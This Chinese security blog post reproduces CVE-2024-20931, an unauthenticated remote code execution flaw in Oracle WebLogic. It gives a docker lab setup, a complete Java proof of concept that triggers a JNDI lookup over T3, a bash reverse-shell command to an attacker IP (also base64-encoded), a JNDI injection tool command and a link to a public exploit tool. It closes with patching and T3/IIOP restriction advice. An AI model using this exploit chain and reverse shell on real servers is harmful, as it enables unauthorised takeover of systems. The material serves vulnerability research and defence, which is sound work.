作者:zero@Timeline Sec 本文字数:3425 阅读时长:3~5min 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
漏洞编号:CVE-2024-20931 CVE-2024-20931 是一个影响版本为12.2.1.4.0 和 14.1.1.0.0的漏洞。该漏洞允许未经认证的攻击者通过T3或IIOP协议访问网络,从而进行远程命令执行获取服务器控制权限。此漏洞在2023年10月向Oracle报告,本质上是CVE-2023-21839补丁的一种绕过,牵涉到一个新的JNDI攻击面。
Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0
docker拉取镜像
docker pull ismaleiva90/weblogic12
启动环境
docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest
访问7001,加/console就是weblogic的控制页面
该漏洞的POC
package com.supeream;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2024_209321 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.86.6:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
env2.put("datasource", "rmi://jwbye8.dnslog.cn/mt");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "rmi://jwbye8.dnslog.cn/mt";
remoteJNDIName.set(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c.rebind("glassy", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("glassy");
} catch (Exception e) {
}
}
}
测试DNSlog(漏洞存在)
编码一下:bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuNDguMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
运行JNDI注入工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的反弹Shell命令" -A "攻击机IP"
利用CVE-2024-20931.jar工具
工具链接:https://github.com/dinosn/CVE-2024-20931
开启监听4444端口,反弹shell
1.升级到官方提供的安全版本:
Oracle 通常会发布补丁来修复已知漏洞,建议用户及时应用这些补丁。
2.限制网络访问:
使用防火墙或访问控制列表(ACL)限制对 WebLogic Server 的网络访问,特别是 T3 和 IIOP 协议端口。
3.禁用不必要的协议:
如果不需要使用 T3 或 IIOP 协议,可以在 WebLogic Server 配置中禁用这些协议。
4.监控系统日志:
实时监控 WebLogic Server 的系统日志,检测异常的访问和操作行为。
二、其他防护措施
如非必要,可以选择禁用T3 协议、IIOP协议。
禁用T3协议:
1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl
在连接筛选器规则中输入:
127.0.0.1 * * allow t3 t3s
0.0.0.0/0 * * deny t3 t3s (注:t3和t3s协议的所有端口只允许本地访问)。
3)保存后需重禁用IIOP协议:
在WebLogic控制台中,选择【环境】>>【服务器】>>点击【AdminServer(管理)】>>【协议】>>【IIOP】,取消勾选“启用IIOP”,保存并重启WebLogic项目。新启动,规则方可生效。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-20931 https://www.oracle.com/security-alerts/cpujan2024.html
CVE-2024-20931 CVE-2023-21839 CVE-2021-2394 CVE-2021-2109 CVE-2020-2551 CVE-2020-14882&14883 CVE-2020-14825 CVE-2018-2894 CVE-2018-2628
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!